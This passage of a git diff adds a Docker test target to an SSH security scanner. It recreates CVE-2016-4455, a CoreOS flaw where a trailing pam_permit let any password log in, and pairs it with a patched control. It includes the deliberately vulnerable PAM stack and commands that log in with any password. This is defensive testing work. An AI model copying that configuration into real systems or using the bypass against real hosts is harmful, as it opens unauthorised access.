control for the vuln-coreos-pam-permit check. +# +# Same image as the vulnerable target, but the auth stack ends with +# "auth required pam_deny.so" as CoreOS Linux Alpha 1053.0.0 does. The +# banner is still SSH-2.0-OpenSSH_7.2, so the check runs but must not +# report a finding. +# +# Build: docker build -t sshamble-coreos-pam-permit-patched -f docs/targets/coreos-pam-permit/Dockerfile.patched docs/targets/coreos-pam-permit +# Run: docker run -d --rm --name sshamble-coreos-pam-permit-patched -p 2225:22 sshamble-coreos-pam-permit-patched +# Scan: ./sshamble scan -u core -p 2225 127.0.0.1 +FROM sshamble-coreos-pam-permit + +COPY pam.d-sshd-patched /etc/pam.d/sshd diff --git a/docs/targets/coreos-pam-permit/README.md b/docs/targets/coreos-pam-permit/README.md new file mode 100644 index 0000000..e3fcec0 --- /dev/null +++ b/docs/targets/coreos-pam-permit/README.md @@ -0,0 +1,226 @@ +# vuln-coreos-pam-permit test target + +This directory contains two Docker images for exercising the +`vuln-coreos-pam-permit` check: a vulnerable target and a patched control. + +## Background + +CoreOS Linux Alpha 1045.0.0 and 1047.0.0 enabled `pam_sss` in the system +PAM stack. The change marked both `pam_sss` and `pam_unix` as `sufficient` +and kept Gentoo's trailing `auth optional pam_permit.so`. When neither +module succeeded, PAM fell through to `pam_permit` and the login was +allowed. Any password therefore opened a session for any account, including +the password-less `core` and `operator` users. The `operator` account was +exploited in the wild within days. Alpha 1053.0.0 replaced the trailing +`pam_permit` with `pam_deny`, and affected systems were rolled back to +1032.1.0 through the update service. + +References: + +- [CoreOS security brief](https://web.archive.org/web/20160602013344/https://coreos.com/blog/security-brief-coreos-linux-alpha-remote-ssh-issue.html) (CVE-2016-4455) +- [LWN: A remotely exploitable hole in CoreOS Linux Alpha](https://lwn.net/Articles/688235/) +- [coreos-overlay commit 048faeb3](https://github.com/coreos/coreos-overlay/commit/048faeb3b1b1a693dec3bdb47b127b8d71c48c13) that introduced the stack + +## How the check works + +The check is enabled by default and runs only when both of the following +hold: + +1. The server banner is exactly `SSH-2.0-OpenSSH_7.2`. CoreOS 1032 through + 1053 shipped OpenSSH 7.2p2 from Gentoo with no version addendum, and + upstream sshd omits the portable suffix from its banner. Debian and + Ubuntu builds announce `OpenSSH_7.2p2 ...`, FreeBSD appends its own + suffix, and every other OpenSSH release has a different number, so none + of those are probed. +2. The server advertises `keyboard-interactive` or `password` + authentication. CoreOS used Gentoo's defaults (`UsePAM yes`, + `PasswordAuthentication no`, `ChallengeResponseAuthentication yes`), so + the bypass was reached over keyboard-interactive. + +It then tries the scanned user followed by `core` and `operator`, with a +random password, over keyboard-interactive first and then password. For each +attempt it opens a session and runs `id`. A finding is recorded only when +the command runs on that session. Reaching the authentication or session +stage without a completed command is not enough. The random password and +the account that worked are cached as the session credential, so `-I first` +and `-I all` reconnect as that account even when it differs from the scanned +user. + +The banner cannot distinguish 1045.0.0 from the fixed 1053.0.0, so the +session attempt is what separates a vulnerable host from a patched one. + +## Files + +| File | Purpose | +|------|---------| +| `Dockerfile` | OpenSSH 7.2p2 built from the upstream tarball with PAM on Ubuntu 16.04, configured with the CoreOS 104x auth stack. Vulnerable. | +| `Dockerfile.patched` | Same image with `pam_deny` closing the auth stack, as in CoreOS 1053.0.0. Not vulnerable. | +| `sshd_config` | Gentoo/CoreOS defaults: `UsePAM yes`, `PasswordAuthentication no`, `ChallengeResponseAuthentication yes`. | +| `pam.d-sshd` | The vulnerable auth stack: `pam_sss` and `pam_unix` both `sufficient`, then `pam_permit`. | +| `pam.d-sshd-patched` | The fixed auth stack: `pam_sss` and `pam_unix` both `sufficient`, then `pam_deny`. Account, password, and session stacks are identical to the vulnerable file. | + +Both images carry the CoreOS accounts with disabled passwords: + +| User | Shell | Password field | +|------|-------|----------------| +| core | /bin/bash | `!` | +| operator | /bin/sh | `!` | + +Root is refused by `PermitRootLogin prohibit-password` before PAM runs, which +matches the affected releases. `libpam-sss` is installed but sssd is not +configured, so `pam_sss` fails exactly as it did on affected systems. + +One line differs from the CoreOS files. CoreOS listed `pam_sss` in the +account stack as `[default=bad success=ok user_unknown=ignore]`. With no +sssd running, Ubuntu's pam_sss 1.13.4 (and CoreOS's 1.13.1, by its source) +returns `PAM_AUTHINFO_UNAVAIL` from that line, which `default=bad` turns +into a denial after authentication has already succeeded. Logins did +succeed on the affected releases, so both images add +`authinfo_unavail=ignore` to that account line. That keeps the account +phase neutral and leaves the outcome to the auth stack, which is the part +the advisory describes and the part that differs between the two images. + +sshd is built from source rather than installed from the Ubuntu package +because Debian's banner patch always appends the portable suffix, even with +`DebianBanner no`, producing `SSH-2.0-OpenSSH_7.2p2`. The upstream build +announces `SSH-2.0-OpenSSH_7.2`, which is what CoreOS sent and what the +check gates on. + +## Setup + +Build the sshamble binary and both images from the repository root: + +```console +$ go build -o sshamble . +$ docker build -t sshamble-coreos-pam-permit docs/targets/coreos-pam-permit +$ docker build -t sshamble-coreos-pam-permit-patched -f docs/targets/coreos-pam-permit/Dockerfile.patched docs/targets/coreos-pam-permit +``` + +Start the vulnerable target on port 2224 and the patched control on 2225: + +```console +$ docker run -d --rm --name sshamble-coreos-pam-permit -p 2224:22 sshamble-coreos-pam-permit +$ docker run -d --rm --name sshamble-coreos-pam-permit-patched -p 2225:22 sshamble-coreos-pam-permit-patched +``` + +## Verify the check reports the vulnerable target + +Scan with the default user. Root is refused, so the check falls back to the +`core` account: + +```console +$ ./sshamble scan -p 2224 -o vuln.json 127.0.0.1 +``` + +The log should contain: + +``` +level=warning msg="127.0.0.1:2224 vuln-coreos-pam-permit accepted a random password for user core via keyboard-interactive" +``` + +The JSON record in `vuln.json` should contain: + +```json +{ + "version": "SSH-2.0-OpenSSH_7.2", + "sessionMethod": "vuln-coreos-pam-permit", + "sessionUser": "core", + "sessionOutput": "uid=500(core) gid=500(core) groups=500(core)", + "vulns": [ + { + "id": "vuln-coreos-pam-permit", + "proof": "CVE-2016-4455: a random password opened a session for core via keyboard-interactive. Session output: uid=500(core) gid=500(core) groups=500(core)", + "ref": "https://web.archive.org/web/20160602013344/https://coreos.com/blog/security-brief-coreos-linux-alpha-remote-ssh-issue.html" + } + ] +} +``` + +Scanning with `-u operator` reports the same finding for `operator` on the +first attempt. + +## Verify the check does not report the patched control + +```console +$ ./sshamble scan -p 2225 --checks vuln-coreos-pam-permit -L debug -o patched.json 127.0.0.1 +``` + +The debug log shows the check running on the 7.2 banner and every candidate +account being rejected: + +``` +level=debug msg="127.0.0.1:2225 vuln-coreos-pam-permit is running for user root" +level=debug msg="127.0.0.1:2225 vuln-coreos-pam-permit did not open a session for user root via keyboard-interactive (stage ssh-userauth): ..." +level=debug msg="127.0.0.1:2225 vuln-coreos-pam-permit did not open a session for user core via keyboard-interactive (stage ssh-userauth): ..." +level=debug msg="127.0.0.1:2225 vuln-coreos-pam-permit did not open a session for user operator via keyboard-interactive (stage ssh-userauth): ..." +``` + +The JSON record has no `sessionMethod` and no `vulns` entry. + +## Verify the version gate + +Point the check at any server with a different banner, for example a stock +Ubuntu 16.04 sshd (`SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.10`) or any +modern OpenSSH, with `-L debug`. The log shows the skip and no +authentication attempts are made: + +``` +level=debug msg="HOST:PORT vuln-coreos-pam-permit skipped: server version \"SSH-2.0-OpenSSH_9.7\" does not match the affected CoreOS OpenSSH build" +``` + +## Verify the interactive session + +The cached random password and the account it worked for are reused to open +a new session for interaction. Run a command non-interactively while +scanning as root, which exercises the fallback to `core`: + +```console +$ ./sshamble scan -p 2224 --checks vuln-coreos-pam-permit -I first --interact-auto "exec id" 127.0.0.1 +``` + +The output ends with the command result: + +``` +uid=500(core) gid=500(core) groups=500(core) +``` + +For a shell, use the default auto commands: + +```console +$ ./sshamble scan -p 2224 --checks vuln-coreos-pam-permit -I first 127.0.0.1 +``` + +## Verify manually with ssh + +Any password is accepted for `core` on the vulnerable target: + +```console +$ ssh -o PreferredAuthentications=keyboard-interactive \ + -o PubkeyAuthentication=no \ + -o StrictHostKeyChecking=no \ + -o UserKnownHostsFile=/dev/null \ + -p 2224 core@127.0.0.1 id +Password: (type anything) +uid=500(core) gid=500(core) groups=500(core) +``` + +The same command against port 2225 prints `Permission denied`. + +## Unit tests + +The Go tests start an in-process SSH server that offers keyboard-interactive +and/or password auth and accepts any password for non-root users, and cover +the same cases without Docker: the fallback from root to `core`, the scanned +user being tried first, password-only servers, no finding when every +password is rejected, no connection for other banners, and reuse of the +cached credential and account for interaction. + +```console +$ go test ./cmd/ -run CoreOSPamPermit -v +``` + +## Cleanup + +```console +$ docker stop sshamble-coreos-pam-permit sshamble-coreos-pam-permit-patched +``` diff --git a/docs/targets/coreos-pam-permit/pam.d-sshd b/docs/targets/coreos-pam-permit/pam.d-sshd new file mode 100644 index 0000000..1563128 --- /dev/null +++ b/docs/targets/coreos-pam-permit/pam.d-sshd @@ -0,0 +1,22 @@ +# CoreOS Linux Alpha 1045.0.0 / 1047.0.0 auth stack (system-auth via +# system-remote-login). Both sufficient modules fail for a password-less +# account, and the stack then falls through to pam_permit. +auth sufficient pam_sss.so use_first_pass +auth sufficient pam_unix.so try_first_pass nullok +auth optional pam_permit.so + +# CoreOS listed pam_sss with [default=bad success=ok user_unknown=ignore]. +# No sssd runs here, so pam_sss returns PAM_AUTHINFO_UNAVAIL, which that +# control would turn into a denial. authinfo_unavail=ignore keeps the +# account phase from vetoing the login so the auth stack above decides. +account required pam_unix.so +account [default=bad success=ok user_unknown=ignore authinfo_unavail=ignore] pam_sss.so +account optional pam_permit.so + +password sufficient pam_unix.so try_first_pass nullok +password sufficient pam_sss.so use_authtok +password optional pam_permit.so + +session required pam_unix.so +session optional pam_permit.so +session optional pam_sss.so diff --git a/docs/targets/coreos-pam-permit/pam.d-sshd-patched b/docs/targets/coreos-pam-permit/pam.d-sshd-patched new file mode 100644 index 0000000..ced9863 --- /dev/null +++ b/docs/targets/coreos-pam-permit/pam.d-sshd-patched @@ -0,0 +1,20 @@ +# CoreOS Linux Alpha 1053.0.0 auth stack: pam_permit replaced by pam_deny. +auth sufficient pam_sss.so use_first_pass +auth sufficient pam_unix.so try_first_pass nullok +auth required pam_deny.so + +# CoreOS listed pam_sss with [default=bad success=ok user_unknown=ignore]. +# No sssd runs here, so pam_sss returns PAM_AUTHINFO_UNAVAIL, which that +# control would turn into a denial. authinfo_unavail=ignore keeps the +# account phase from vetoing the login so the auth stack above decides. +account required pam_unix.so +account [default=bad success=ok user_unknown=ignore authinfo_unavail=ignore] pam_sss.so +account optional pam_permit.so + +password sufficient pam_unix.so try_first_pass nullok +password sufficient pam_sss.so use_authtok +password optional pam_permit.so + +session required pam_unix.so +session optional pam_permit.so +session optional pam_sss.so diff --git a/docs/targets/coreos-pam-permit/sshd_config b/docs/targets/coreos-pam-permit/sshd_config new file mode 100644 index 0000000..dd82cf7 --- /dev/null +++ b/docs/targets/coreos-pam-permit/sshd_config @@ -0,0 +1,10 @@ +# Gentoo/CoreOS defaults for OpenSSH 7.2p2 with PAM enabled. +UsePAM yes +PasswordAuthentication no +ChallengeResponseAuthentication yes +PermitRootLogin prohibit-password +UsePrivilegeSeparation sandbox +PrintMotd no +PrintLastLog no +UseDNS no +Subsystem sftp internal-sftp